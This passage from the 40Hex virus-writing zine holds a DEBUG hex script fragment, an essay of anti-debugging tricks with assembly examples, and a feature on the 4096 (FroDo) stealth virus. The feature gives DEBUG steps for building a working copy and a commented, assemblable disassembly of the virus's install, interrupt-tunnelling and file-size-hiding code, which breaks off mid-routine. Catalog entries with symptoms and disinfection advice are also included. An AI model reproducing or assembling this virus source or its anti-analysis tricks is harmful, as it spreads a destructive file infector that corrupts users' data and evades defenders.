e 0880 89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C
e 0890 FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D
e 08A0 73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00
e 08B0 98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84
e 08C0 E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA
rcx
07D0
w
q
-------------------------------------------------------------------------------
DA
40Hex Number 9 Volume 2 Issue 5 File 004
I picked this up in a collection of clips from the Fidonet 80xxx echo,
figured it might interest someone.
--Hawkmoon
===============================================================================
Anti Debugging Tricks
By:
Inbar Raz
Release number 2
Today's anti debugging tricks devide into two categories:
1. Preventive actions;
2. Self-modifying code.
Most debugging tricks, as for today, are used within viruses, in order to
avoid dis-assembly of the virus, as it will be exampled later in this file.
Another big part of anti debugging tricks is found with software protection
programs, what use them in order to make the cracking of the protection
harder.
1. Preventive actions:
----------------------
Preventive actions are, basically, actions that the program takes in order
to make the user unable to dis-assemble the code or trace it while running.
1.1. Interrupt disable:
Interrupt disable is probably the most common form of anti-debugging
trick. It can be done in several ways:
1.1.1. Hardware masking of interrupt:
In order to avoid tracing of a code, one usually disables the
interrupt via the 8259 Interrupt Controller, addressed by read/write
actions to port 21h. The 8259 Interrupt Controller controls the IRQ
lines. This means that any IRQ between 0 and 7 may be disabled by
this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
keyboard interrupt, you may disable the keyboard without the
debugger being able to bypass it.
Example:
CS:0100 E421 IN AL,21
CS:0102 0C02 OR AL,02
CS:0104 E621 OUT 21,AL
Just as a side notice, the keyboard may be also disabled by
commanding the Programmable Perepheral Interface (PPI), port 61h.
Example:
CS:0100 E461 IN AL,61
CS:0102 0C80 OR AL,80
CS:0104 E661 OUT 61,AL
1.1.2. Software masking of interrupt:
This is quite an easy form of anti-debugging trick. All you have
to do is simply replace the vectors of interrupts debuggers use/any
other interrupt you will not be using or expecting to happen. Do not
forget to restore the original vectors when you are finished.
It is adviseable to use manual change of vector, as shown below,
rather than to change it using interrupt 21h service 25h, because
any debugger that has gained control of interrupt 21h may replace
your vector with the debugger's. The example shows an interception
of interrupt 03h - the breakpoint interrupt.
Example:
CS:0100 EB04 JMP 0106
CS:0102 0000 ADD [BX+SI],AL
CS:0104 0000 ADD [BX+SI],AL
CS:0106 31C0 XOR AX,AX
CS:0108 8EC0 MOV ES,AX
CS:010A 268B1E0C00 MOV BX,ES:[000C]
CS:010F 891E0201 MOV [0102],BX
CS:0113 268B1E0E00 MOV BX,ES:[000E]
CS:0118 891E0401 MOV [0104],BX
CS:011C 26C7064C000000 MOV Word Ptr ES:[000C],0000
CS:0123 26C7064E000000 MOV Word Ptr ES:[000E],0000
1.1.3. Vector manipulation
This method involves manipulations of the interrupt vectors,
mainly for proper activation of the algorithm. Such action, as
exampled, may be used to decrypt a code (see also 2.1), using data
stored ON the vectors. Ofcourse, during normal operation of the
program, vectors 01h and 03h are not used, so unless you are trying
to debug such a program, it works fine.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED0 MOV SS,AX
CS:0104 BC0600 MOV SP,0006
CS:0107 8B0E0211 MOV CX,[1102]
CS:010B 50 PUSH AX
CS:010C 21C8 AND AX,CX
CS:010E 01C5 ADD BP,AX
CS:0110 58 POP AX
CS:0111 E2F8 LOOP 010B
1.1.4. Interrupt replacement
This is a really nasty trick, and it should be used ONLY if you
are ABSOLUTELY sure that your programs needs no more debugging. What
it does is simply copy the vectors of some interrupts you will be
using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
that do not occure during normal operation of the program. If the
user wants to debug the program, he would have to search for every
occurance of INT 01, and replace it with the appropriate INT
instruction.
Example:
CS:0100 FA CLI
CS:0101 31C0 XOR AX,AX
CS:0103 8EC0 MOV ES,AX
CS:0105 26A18400 MOV AX,ES:[0084]
CS:0109 26A30400 MOV ES:[0004],AX
CS:010D 26A18600 MOV AX,ES:[0086]
CS:0111 26A30600 MOV ES:[0006],AX
CS:0115 B44C MOV AH,4C
CS:0117 CD01 INT 01
1.2. Time watch:
This may be a less common method, but it is usefull against debuggers
that disable all interrupts except for the time that the program is
executed, such as Borland's Turbo Debugger. This method simply retains
the value of the clock counter, updated by interrupt 08h, and waits in an
infinite loop until the value changes. Another example is when you mask
the timer interrupt by ORing the value INed from port 21h with 01h and
then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
this method is usefull only against RUN actions, not TRACE/PROCEED ones.
Example:
CS:0100 2BC0 SUB AX,AX
CS:0102 FB STI
CS:0103 8ED8 MOV DS,AX
CS:0105 8A266C04 MOV AH,[046C]
CS:0109 A06C04 MOV AL,[046C]
CS:010C 3AC4 CMP AL,AH
CS:010E 74F9 JZ 0109
1.3. Fool the debugger:
This is a very nice technique, that works especially and only on those
who use Turbo Debugger or its kind. What you do is init a jump to a
middle of an instruction, whereas the real address actually contains
another opcode. If you work with a normal step debugger such as Debug or
SymDeb, it won't work since the debugger jumps to the exact address of
the jump, and not to the beginning of an instruction at the closest
address, like Turbo Debugger.
Example:
CS:0100 E421 IN AL,21
CS:0102 B0FF MOV AL,FF
CS:0104 EB02 JMP 0108
CS:0106 C606E62100 MOV Byte Ptr [21E6],00
CS:010B CD20 INT 20
Watch this:
CS:0108 E621 OUT 21,AL
1.4. Cause debugger to stop execution:
This is a technique that causes a debugger to stop the execution of a
certain program. What you need to do is to put some INT 3 instructions
over the code, at random places, and any debugger trying to run will stop
there. Since this techniqu causes the CPU to stop executing the program,
and therefore clear the Prefetch Instruction Queue, it is adviseable to
use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
the example shows how to use these two tricks together.
Example:
CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0108 AC LODSB
CS:0109 C70610013473 MOV Word Ptr [0110],7334
CS:010F CC INT 3
CS:0110 2406 AND AL,06
CS:0112 AA STOSB
CS:0113 C70610012406 MOV Word Ptr [0110],0624
CS:0119 E2ED LOOP 0108
1.5. Halt TD386 V8086 mode:
This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
baed on the fact that TD386 does not use INT 00h to detect division by
zero (or register overrun after division, which is treated by the
processor in the same way as in case of division by zero). When TD386
detects a division fault it aborts, reporting about the faulty
division. In real mode (even under a regular debugger), a faulty DIV
instruction will cause INT 00h to be called. Therefore, pointing INT 00h
to the next instruction, will recover from the faulty DIV.
Note: It is very important to restore INT 00h's vector. Otherwise, the
next call to INT 00h will cause the machine to hang.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70600001201 MOV WORD PTR [0000],0112
CS:010A 8C0E0200 MOV [0002],CS
CS:010E B400 MOV AH,00
CS:0110 F6F4 DIV AH
CS:0112 B8004C MOV AX,4C00
CS:0115 CD21 INT 21
1.6. Halt any V8086 process:
Another way of messing TD386 is fooling it into an exception.
Unfortunately, this exception will also be generated under any other
program, running at V8086 mode. The exception is exception #13, and its
issued interrupt is INT 0Dh - 13d. The idea is very similar to the
divide by zero trick: Causing an exception, when the exception interrupt
points to somewhere in the program's code. It will always work when the
machine is running in real mode, but never under the V8086 mode.
Note: It is very important to restore the original interrupt vectors.
Otherwise, the next exception will hang the machine.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70634001301 MOV WORD PTR [0034],0113
CS:010A 8C0E3600 MOV [0036],CS
CS:010E 833EFFFF00 CMP WORD PTR [FFFF],+00
CS:0113 B8004C MOV AX,4C00
CS:0116 CD21 INT 21
2. Self-modifying code:
-----------------------
2.1. Encryptive/decryptive algorithm:
The first category is simply a code, that has been encrypted, and has
been added with a decryption routine. The trick here is that when a
debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
in the desired address, and once that interrupt is executed, the debugger
regains control of things. If you try to set a breakpoint AFTER the
decryption algorithm, what is usually needed, you will end up putting an
opcode CCh in a place where decryption action is taken, therefore losing
your original CCh in favour of whatever the decryption algorithm makes.
The following example was extracted from the Haifa virus. If you try to
set a breakpoint at address CS:0110, you will never reach that address,
since there is no way to know what will result from the change. Note that
if you want to make the tracing even harder, you should start the
decryption of the code from its END, so it takes the whole operation
until the opcode following the decryption routine is decrypted.
Example:
CS:0100 BB7109 MOV BX,0971
CS:0103 BE1001 MOV DI,0110
CS:0106 91 XCHG AX,CX
CS:0107 91 XCHG AX,CX
CS:0108 2E803597 XOR Byte Ptr CS:[DI],97
CS:010C 47 INC DI
CS:010D 4B DEC BX
CS:010E 75F6 JNZ 0106
CS:0110 07 POP ES
CS:0111 07 POP ES
2.2. Self-modifying code:
2.2.1. Simple self-modification:
This method implements the same principle as the encryption
method: Change the opcode before using it. In the following example,
we change the insruction following the call, and therefore, if you
try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
will not succeed, since the debugger will put its CCh on offset 104h,
but when the routine runs, it overwrites location 104h.
Example:
CS:0100 E80400 CALL 0107
CS:0103 CD20 INT 20
CS:0105 CD21 INT 21
CS:0107 C7060301B44C MOV Word Ptr [0103],4CB4
CS:010D C3 RET
Watch this:
CS:0103 B44C MOV AH,4C
2.2.2. Prefetch Instruction Queue (PIQ) manipulation:
This method is a bit similar to (1.3), but it fools ANY debugger,
or any other process that executes one operation at a time. The PIQ
is an area within the CPU, that pre-fethces, ie. takes in advance,
instructions from memory, so when they need to be executed, it
would take less time to get them, since they are already in the CPU.
The PIQ length ranges from 6 or 4 in old computers, up to as high as
25 in new ones. What the trick does is change the FOLLOWING opcode
to something meaningless. If you are debugging, then the change will
take place BEFORE the instructions is executed or fetched. If you
run the program NORMALLY, by the time you change the opcode, it will
have already been fetched.
Example:
CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0108 AC LODSB
CS:0109 C7060F012406 MOV Word Ptr [010F],0624
CS:010F 3473 XOR AL,73
CS:0111 AA STOSB
CS:0112 C7060F012406 MOV Word Ptr [010F],0624
CS:0118 E2EE LOOP 0108
Watch this:
CS:010F 2406 AND AL,06
===============================================================================
40Hex Number 9 Volume 2 Issue 5 File 005
Virus Spotlite on: 4096
The 4096, or FroDo, virus was one of the first known stealth viruses.
Presented below are the descriptions found in Patricia Hoffman's VSUM
and in the Computer Virus Catalog. Of course, the latter description
is far more accurate, albeit shorter. The virus infects EXE and COM
files but not overlays due to the bizarre method with which it checks
for a valid file extension. It also cannot handle SYS files. It has
a boot block in it; unfortunately, the code which is called to write
the boot block to the disk is damaged and the system crashes when the
virus attempts to access this code. However, it is worthwhile to rip
out the boot block from the code and write it to a disk; the display
is pretty neat.
To create a working copy, use debug to create a file with the follow-
ing bytes:
E9 68 02
and tack on the virus to the end of that file. Or, do the following:
C:\>DEBUG 4096.COM
-E FD
XXXX:00FD 00.E9 00.68 00.02
-R CX
CX 0FF1
:FF4
-W FD
Writing 0FF4 bytes
-Q
- Dark Angel
4096
Virus Name: 4096
Aliases: Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
Virus
V Status: Common
Discovery: January, 1990
Symptoms: .COM, .EXE, & overlay file growth; TSR hides growth;
crosslinks; corruption of data files
Origin: Israel
Eff Length: 4,096 Bytes
Type Code: PRsA - Parasitic Resident .COM & .EXE Infector
Detection Method: ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
ViruSafe
Removal Instructions: CleanUp, F-Prot, NAV or delete infected files
General Comments:
The 4096 virus was first isolated in January, 1990. This virus is
considered a stealth virus in that it is almost invisible to the
system user.
The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
bytes to their length. Once the virus is resident in system memory,
the increase in length will not appear in a directory listing. Once
this virus has installed itself into memory, it will infect any
executable file that is opened, including if it is opened with the
COPY or XCOPY command.
This virus is destructive to both data files and executable files,
as it very slowly cross-links files on the system's disk. The
cross-linking occurs so slowly that it appears there is a hardware
problem, the virus being almost invisible. The cross-linking of
files is the result of the virus manipulating the FATs, changing the
number of available sectors, as well as the user issuing CHKDSK/F
command which will think that the files have lost sectors or
cross-linking if the virus is in memory.
As a side note, if the virus is present in memory and you attempt to
copy infected files, the new copy of the file will not be infected
with the virus if the new copy does not have an executable file
extension. Thus, one way to disinfect a system is to copy off all
the infected files to diskettes with a non-executable file extension
(i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
memory, then power off the system and reboot from a write-protected,
uninfected system disk. Once rebooted and the virus is not in
memory, delete the infected files and copy back the files from the
diskettes to the original executable file names and extensions.
The above will disinfect the system, if done correctly, but will
still leave the problem of cross-linked files which are permanently
damaged.
On or after September 22 of any year, the 4096 virus will hang
infected systems. This appears to be a "bug" in the virus in that
it goes into a time consuming loop.
The 4096 virus also contains a boot-sector within its code; however,
it is never written out to the disk's boot sector. Moving this boot
sector to the boot sector of a diskette and rebooting the system
will result in the message "FRODO LIVES" being displayed. September
22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
trilogy.
An important note on the 4096 virus: this virus will also infect
some data files. When this occurs, the data files will appear to be
fine on infected systems. However, after the system is later
disinfected, these files will now be corrupted and unpredictable
results may occur.
Known variant(s) of 4096 are:
4096-B: Similar to the 4096 virus, the main change is that the
encryption mechanism has been changed in order to avoid
detection.
4096-C: Isolated in January, 1991, this variant of 4096 is similar
to the original virus. The major difference is that the DOS
CHKDSK command will not show any cross-linking of files or
lost clusters. A symptom of infection by this variant is
that the disk space available according to a DIR command
will be more than the disk space available according to the
DOS CHKDSK program.
4096-D: Isolated in April, 1992, this variant of 4096 is similar
to the 4096-C variant in behavior. The major difference is
that it has been modified to avoid detection by some anti-
viral utilities.
Origin: Unknown April, 1992.
======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) =======
Entry...............: "4096" virus
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
Virus Strain........: ---
Virus detected when.: October 1989.
where.: Haifa, Israel.
Classification......: Program Virus (extending), RAM-resident.
Length of Virus.....: .COM files: length increased by 4096 bytes.
.EXE files: length increased by 4096 bytes.
--------------------- Preconditions -----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM-PC, XT, AT and compatibles
--------------------- Attributes --------------------------------------
Easy Identification.: ---
Type of infection...: System: Allocates a memory block at high end of
memory. Finds original address (inside
DOS) of Int 21h handler. Finds original
address (inside BIOS) of Int 13h handler,
therefore bypasses all active monitors.
Inserts a JMP FAR to virus code inside
original DOS handler.
.COM files: program length increased by 4096
.EXE files: program length increased by 4096
Infection Trigger...: Programs are infected at load time (using the
function Load/Execute of MS-DOS), and whenever
a file Access is done to a file with the exten-
sion of .COM or .EXE, (Open file AH=3D,
Create file AH=3C, File attrib AH=43,
File time/date AH=57, etc.)
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside
DOS handler;
INT01h, during virus installation & execution
of DOS's load/execute function (AH=4B);
INT13h, INT24h during infection.
Damage..............: The computer usually hangs up.
Damage Trigger......: A Get Dos Version call when the date is after the
22th of September and before 1/1 of next year.
Particularities.....: Infected files have their year set to (year+100)
of the un-infected file.
If the system is infected, the virus redirects
all file accesses so that the virus itself can
not be read from the file. Also, find first/next
function returns are tampered so that files
with (year>100) are reduced by 4096 bytes in size.
--------------------- Agents ------------------------------------------
Countermeasures.....: Cannot be detected while in memory, so no
monitor/file change detector can help.
Countermeasures successful:
1) A Do-it-yourself way: Infect system by running
an infected file, ARC/ZIP/LHARC/ZOO all in-
fected .COM and .EXE files, boot from unin-
fected floppy, and UNARC/UNZIP/LHARC E etc.
all files. Pay special attention to disin-
fection of COMMAND.COM.
2) The JIV AntiVirus Package (by the author of
this contribution)
3) F. Skulason's F-PROT package.
Standard means......: ---
--------------------- Acknowledgement ---------------------------------
Location............: Weizmann Institute, Israel.
Classification by...: Ori Berger
Documentation by....: Ori Berger
Date................: 26-February-1990
===================== End of "4096" Virus =============================
_4096 segment byte public
assume cs:_4096, ds:_4096
; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes
org 0
startvirus:
db 0
jmp installvirus
oldheader: ; original 1Ch bytes of the carrier file
retn
db 75h,02,44h,15h,46h,20h
db 'Copyright Bourb%}i, I'
endoldheader:
EXEflag db 00h
db 0FEh, 3Ah
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
push bp ; set up stack frame
mov bp,sp
push ax
cmp word ptr [bp+4],0C000h ; in BIOS?
jnb foundorigint ; nope, haven't found it
mov ax,cs:DOSsegment ; in DOS?
cmp [bp+4],ax
jbe foundorigint
exitint1:
pop ax
pop bp
iret
foundorigint:
cmp byte ptr cs:tracemode,1
jz tracemode1
mov ax,[bp+4] ; save segment of entry point
mov word ptr cs:origints+2,ax
mov ax,[bp+2] ; save offset of entry point
mov word ptr cs:origints,ax
jb finishint1
pop ax
pop bp
mov ss,cs:savess ; restore the stack to its
mov sp,cs:savesp ; original state
mov al,cs:saveIMR ; Restore IMR
out 21h,al ; (enable interrupts)
jmp setvirusints
finishint1:
and word ptr [bp+6],0FEFFh ; turn off trap flag
mov al,cs:saveIMR ; and restore IMR
out 21h,al
jmp short exitint1
tracemode1:
dec byte ptr cs:instructionstotrace
jnz exitint1
and word ptr [bp+6],0FEFFh ; turn off trap flag
call saveregs
call swapvirint21 ; restore original int
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
mov al,1
call setvect
call restoreregs
jmp short finishint1
getint:
push ds
push si
xor si,si ; clear si
mov ds,si ; ds->interrupt table
xor ah,ah ; cbw would be better!?
mov si,ax
shl si,1 ; convert int # to offset in
shl si,1 ; interrupt table (int # x 4)
mov bx,[si] ; es:bx = interrupt vector
mov es,[si+2] ; get old interrupt vector
; save 3 bytes if use les bx,[si]
pop si
pop ds
retn
installvirus:
mov word ptr cs:stackptr,offset topstack
mov cs:initialax,ax ; save initial value for ax
mov ah,30h ; Get DOS version
int 21h
mov cs:DOSversion,al ; Save DOS version
mov cs:carrierPSP,ds ; Save PSP segment
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-2] ; segment of first MCB
mov cs:DOSsegment,ax ; save it for use in int 1
mov es,ax ; es = segment first MCB
mov ax,es:[1] ; Get owner of first MCB
mov cs:ownerfirstMCB,ax ; save it
push cs
pop ds
mov al,1 ; get single step vector
call getint
mov word ptr ds:oldint1,bx ; save it for later
mov word ptr ds:oldint1+2,es; restoration
mov al,21h ; get int 21h vector
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov byte ptr ds:tracemode,0 ; regular trace mode on
mov dx,offset int1 ; set new int 1 handler
mov al,1
call setvect
pushf
pop ax
or ax,100h ; turn on trap flag
push ax
in al,21h ; Get old IMR
mov ds:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
popf
mov ah,52h ; Get list of lists
pushf ; (for tracing purposes)
call dword ptr ds:origints ; perform the tunnelling
pushf
pop ax
and ax,0FEFFh ; turn off trap flag
push ax
popf
mov al,ds:saveIMR ; reenable interrupts
out 21h,al
push ds
lds dx,dword ptr ds:oldint1
mov al,1 ; restore int 1 to the
call setvect ; original handler
pop ds
les di,dword ptr ds:origints; set up int 21h handlers
mov word ptr ds:oldint21,di
mov word ptr ds:oldint21+2,es
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
mov word ptr ds:int21store,offset otherint21
mov word ptr ds:int21store+2,cs
call swapvirint21 ; activate virus in memory
mov ax,4B00h
mov ds:checkres,ah ; set resident flag to a
; dummy value
mov dx,offset EXEflag+1 ; save EXE flag
push word ptr ds:EXEflag
int 21h ; installation check
; returns checkres=0 if
; installed
pop word ptr ds:EXEflag ; restore EXE flag
add word ptr es:[di-4],9
nop ; !?
mov es,ds:carrierPSP ; restore ES and DS to their
mov ds,ds:carrierPSP ; original values
sub word ptr ds:[2],(topstack/10h)+1
; alter top of memory in PSP
mov bp,ds:[2] ; get segment
mov dx,ds
sub bp,dx
mov ah,4Ah ; Find total available memory
mov bx,0FFFFh
int 21h
mov ah,4Ah ; Allocate all available memory
int 21h
dec dx ; go to MCB of virus memory
mov ds,dx
cmp byte ptr ds:[0],'Z' ; is it the last block?
je carrierislastMCB
dec byte ptr cs:checkres ; mark need to install virus
carrierislastMCB:
cmp byte ptr cs:checkres,0 ; need to install?
je playwithMCBs ; nope, go play with MCBs
mov byte ptr ds:[0],'M' ; mark not end of chain
playwithMCBs:
mov ax,ds:[3] ; get memory size controlled
mov bx,ax ; by the MCB
sub ax,(topstack/10h)+1 ; calculate new size
add dx,ax ; find high memory segment
mov ds:[3],ax ; put new size in MCB
inc dx ; one more for the MCB
mov es,dx ; es->high memory MCB
mov byte ptr es:[0],'Z' ; mark end of chain
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
pop word ptr es:[1] ; make it the owner
mov word ptr es:[3],160h ; fill in the size field
inc dx
mov es,dx ; es->high memory area
push cs
pop ds
mov cx,(topstack/2) ; zopy 0-1600h to high memory
mov si,offset topstack-2
mov di,si
std ; zopy backwards
rep movsw
cld
push es ; set up stack for jmp into
mov ax,offset highentry ; virus code in high memory
push ax
mov es,cs:carrierPSP ; save current PSP segment
mov ah,4Ah ; Alter memory allocation
mov bx,bp ; bx = paragraphs
int 21h
retf ; jmp to virus code in high
highentry: ; memory
call swapvirint21
mov word ptr cs:int21store+2,cs
call swapvirint21
push cs
pop ds
mov byte ptr ds:handlesleft,14h ; reset free handles count
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; clear handle table
rep stosw
mov ds:hideclustercountchange,al ; clear the flag
mov ax,ds:carrierPSP
mov es,ax ; es->PSP
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
mov ds,ax ; ds->PSP
add ax,10h ; adjust for PSP
add word ptr cs:oldheader+16h,ax ; adjust jmp location
cmp byte ptr cs:EXEflag,0 ; for PSP
jne returntoEXE
returntoCOM:
sti
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
mov ds:[100h],ax ; COM file
mov ax,word ptr cs:oldheader+2
mov ds:[102h],ax
mov ax,word ptr cs:oldheader+4
mov ds:[104h],ax
push word ptr cs:carrierPSP ; Segment of carrier file's
mov ax,100h ; PSP
push ax
mov ax,cs:initialax ; restore orig. value of ax
retf ; return to original COM file
returntoEXE:
add word ptr cs:oldheader+0eh,ax
mov ax,cs:initialax ; Restore ax
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
mov sp,word ptr cs:oldheader+10h ; original value
sti
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
; entry point
entervirus:
cmp sp,100h ; COM file?
ja dont_resetstack ; if so, skip this
xor sp,sp ; new stack
dont_resetstack:
mov bp,ax
call next ; calculate relativeness
next:
pop cx
sub cx,offset next ; cx = delta offset
mov ax,cs ; ax = segment
mov bx,10h ; convert to offset
mul bx
add ax,cx
adc dx,0
div bx ; convert to seg:off
push ax ; set up stack for jmp
mov ax,offset installvirus ; to installvirus
push ax
mov ax,bp
retf ; go to installvirus
int21commands:
db 30h ; get DOS version
dw offset getDOSversion
db 23h ; FCB get file size
dw offset FCBgetfilesize
db 37h ; get device info
dw offset get_device_info
db 4Bh ; execute
dw offset execute
db 3Ch ; create file w/ handle
dw offset createhandle
db 3Dh ; open file
dw offset openhandle
db 3Eh ; close file
dw offset handleclosefile
db 0Fh ; FCB open file
dw offset FCBopenfile
db 14h ; sequential FCB read
dw offset sequentialFCBread
db 21h ; random FCB read
dw offset randomFCBread
db 27h ; random FCB block read
dw offset randomFCBblockread
db 11h ; FCB find first
dw offset FCBfindfirstnext
db 12h ; FCB find next
dw offset FCBfindfirstnext
db 4Eh ; filename find first
dw offset filenamefindfirstnext
db 4Fh ; filename find next
dw offset filenamefindfirstnext
db 3Fh ; read
dw offset handleread
db 40h ; write
dw offset handlewrite
db 42h ; move file pointer
dw offset handlemovefilepointer
db 57h ; get/set file time/date
dw offset getsetfiletimedate
db 48h ; allocate memory
dw offset allocatememory
endcommands:
otherint21:
cmp ax,4B00h ; execute?
jnz notexecute
mov cs:checkres,al ; clear the resident flag
notexecute:
push bp ; set up stack frame
mov bp,sp
push [bp+6] ; push old flags
pop cs:int21flags ; and put in variable
pop bp ; why?
push bp ; why?
mov bp,sp ; set up new stack frame
call saveregs
call swapvirint21 ; reenable DOS int 21h handler
call disableBREAK
call restoreregs
call _pushall
push bx
mov bx,offset int21commands ; bx->command table
scanforcommand:
cmp ah,cs:[bx] ; scan for the function
jne findnextcommand ; code/subroutine combination
mov bx,cs:[bx+1]
xchg bx,[bp-14h]
cld
retn
findnextcommand:
add bx,3 ; go to next command
cmp bx,offset endcommands ; in the table until
jb scanforcommand ; there are no more
pop bx
exitotherint21:
call restoreBREAK
in al,21h ; save IMR
mov cs:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
mov byte ptr cs:instructionstotrace,4 ; trace into
mov byte ptr cs:tracemode,1 ; oldint21
call replaceint1 ; set virus int 1 handler
call _popall
push ax
mov ax,cs:int21flags ; get the flags
or ax,100h ; turn on the trap flag
push ax ; and set it in motion
popf
pop ax
pop bp
jmp dword ptr cs:oldint21 ; chain back to original int
; 21h handler -- do not return
exitint21:
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
pop bp
push bp ; set up stack frame
mov bp,sp
push word ptr cs:int21flags ; get the flags and put
pop word ptr [bp+6] ; them on the stack for
pop bp ; the iret
iret
FCBfindfirstnext:
call _popall
call callint21
or al,al ; Found any files?
jnz exitint21 ; guess not
call _pushall
call getdisktransferaddress
mov al,0
cmp byte ptr [bx],0FFh ; Extended FCB?
jne findfirstnextnoextendedFCB
mov al,[bx+6]
add bx,7 ; convert to normal FCB
findfirstnextnoextendedFCB:
and cs:hide_size,al
test byte ptr [bx+1Ah],80h ; check year bit for virus
jz _popall_then_exitint21 ; infection tag. exit if so
sub byte ptr [bx+1Ah],0C8h ; alter file date
cmp byte ptr cs:hide_size,0
jne _popall_then_exitint21
sub word ptr [bx+1Dh],1000h ; hide file size
sbb word ptr [bx+1Fh],0
_popall_then_exitint21:
call _popall
jmp short exitint21
FCBopenfile:
call _popall
call callint21 ; chain to original int 21h
call _pushall
or al,al ; 0 = success
jnz _popall_then_exitint21
mov bx,dx
test byte ptr [bx+15h],80h ; check if infected yet
jz _popall_then_exitint21
sub byte ptr [bx+15h],0C8h ; restore date
sub word ptr [bx+10h],1000h ; and hide file size
sbb byte ptr [bx+12h],0
jmp short _popall_then_exitint21
randomFCBblockread:
jcxz go_exitotherint21 ; reading any blocks?
randomFCBread:
mov bx,dx
mov si,[bx+21h] ; check if reading first
or si,[bx+23h] ; bytes
jnz go_exitotherint21
jmp short continueFCBread
sequentialFCBread:
mov bx,dx
mov ax,[bx+0Ch] ; check if reading first
or al,[bx+20h] ; bytes
jnz go_exitotherint21
continueFCBread:
call checkFCBokinfect
jnc continuecontinueFCBread
go_exitotherint21:
jmp exitotherint21
continuecontinueFCBread:
call _popall
call _pushall
call callint21 ; chain to original handler
mov [bp-4],ax ; set the return codes
mov [bp-8],cx ; properly
push ds ; save FCB pointer
push dx
call getdisktransferaddress
cmp word ptr [bx+14h],1 ; check for EXE infection
je FCBreadinfectedfile ; (IP = 1)
mov ax,[bx] ; check for COM infection
add ax,[bx+2] ; (checksum = 0)
add ax,[bx+4]
jz FCBreadinfectedfile
add sp,4 ; no infection, no stealth
jmp short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
pop dx ; restore address of the FCB
pop ds
mov si,dx
push cs
pop es
mov di,offset tempFCB ; copy FCB to temporary one
mov cx,25h
rep movsb
mov di,offset tempFCB
push cs
pop ds
mov ax,[di+10h] ; get old file size
mov dx,[di+12h]
add ax,100Fh ; increase by virus size
adc dx,0 ; and round to the nearest
and ax,0FFF0h ; paragraph
mov [di+10h],ax ; insert new file size
mov [di+12h],dx
sub ax,0FFCh
sbb dx,0
mov [di+21h],ax ; set new random record #
mov [di+23h],dx
mov word ptr [di+0Eh],1 ; record size = 1
mov cx,1Ch
mov dx,di
mov ah,27h ; random block read 1Ch bytes
call callint21
jmp _popall_then_exitint21
FCBgetfilesize:
push cs
pop es
mov si,dx
mov di,offset tempFCB ; copy FCB to temp buffer
mov cx,0025h
repz movsb
push ds
push dx
push cs
pop ds
mov dx,offset tempFCB
mov ah,0Fh ; FCB open file
call callint21
mov ah,10h ; FCB close file
call callint21
test byte ptr [tempFCB+15h],80h ; check date bit
pop si
pop ds
jz will_exitotherint21 ; exit if not infected
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
mov ax,es
sub bx,1000h ; hide increase
sbb ax,0
xor dx,dx
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
dec cx
add bx,cx
adc ax,0
inc cx
div cx
mov [si+23h],ax ; fix random access record #
xchg dx,ax
xchg bx,ax
div cx
mov [si+21h],ax ; fix random access record #
jmp _popall_then_exitint21
filenamefindfirstnext:
and word ptr cs:int21flags,-2 ; turn off trap flag
call _popall
call callint21
call _pushall
jnb filenamefffnOK ; continue if a file is found
or word ptr cs:int21flags,1
jmp _popall_then_exitint21
filenamefffnOK:
call getdisktransferaddress
test byte ptr [bx+19h],80h ; Check high bit of date
jnz filenamefffnfileinfected; Bit set if infected
jmp _popall_then_exitint21
filenamefffnfileinfected:
sub word ptr [bx+1Ah],1000h ; hide file length increase
sbb word ptr [bx+1Ch],0
sub byte ptr [bx+19h],0C8h ; and date change
jmp _popall_then_exitint21
createhandle:
push cx
and cx,7 ; mask the attributes
cmp cx,7 ; r/o, hidden, & system?
je exit_create_handle
pop cx
call replaceint13and24
call callint21 ; chain to original int 21h
